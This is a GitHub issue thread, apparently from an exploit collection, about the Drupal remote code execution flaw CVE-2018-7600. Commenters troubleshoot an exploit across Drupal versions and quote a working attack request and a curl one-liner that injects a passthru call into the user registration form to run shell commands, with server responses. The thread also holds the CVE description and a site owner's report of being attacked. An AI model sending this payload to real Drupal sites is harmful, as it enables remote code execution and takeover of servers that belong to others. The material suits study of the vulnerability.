-
Notifications
You must be signed in to change notification settings - Fork 440
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[Exploit] CVE-2018-7600 - drupal: Unsanitized requests allow remote attackers to execute arbitrary code #19
Comments
|
print os command output directly.
|
|
passthru
base64_encode
|
A php demo is prepared for exp tests. It shows how to exploit CVE-2018-7600.
|
References |
Can you say whether the response of the command (exec, passthru,...) is in data field or at the beginning or the POST response? See at: https://github.com/antonio-fr/DrupalRS In the exploit code here-upper provided by @nixawk , tested on v8.4, the output is sent back in data field. So I'm wondering if this is specific to v8.5, or for the passthru command? |
I am able to exploit with Drupal 8 but It doesn't work with Drupal 7 . Does it really work for D7 as well ? |
@antonio-fr The exploit tests against drupal 8.4.5. If passthru should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. From php.net
|
@dbjpanda Please try FireFart's Poc for 7.x.
Vulnerability Details can be here: |
@nixawk |
Good job ! |
Is there any reason I would be getting no output? I setup a drupal 8.4.5 locally and when I run the script I get no output. |
I follow the instructions but it seems that the version 8.4.5 is not vulnerable on my system: Ubuntu 16.04.3 LTS other evidences? |
@alfonsocaponi Could you share your packets here ? A pcap may be useful. |
POST /user/register?element_parents=account%2Fmail%2F%23value&_wrapper_format=drupal_ajax&ajax_form=1 HTTP/1.1 mail%5B%23markup%5D=pwd&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=passthruHTTP/1.1 200 OK [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":null}] |
Just got hit with this exploit running 8.5.4, clean-urls are enabled:
|
curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://127.0.0.1/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' i'm my case the result is: [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":null}] drupal version is 8.5.0... |
@violennz Update to 8.5.4, the patch was included in 8.5.1, so hopefully it'll mitigate the majority of attempts, though I'm still being hit with it at 8.5.4 Also, you can run this to clean your drupal site:
That should remove the injected header line and replace it back with your opening |
Description
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
Exploit
References
The text was updated successfully, but these errors were encountered: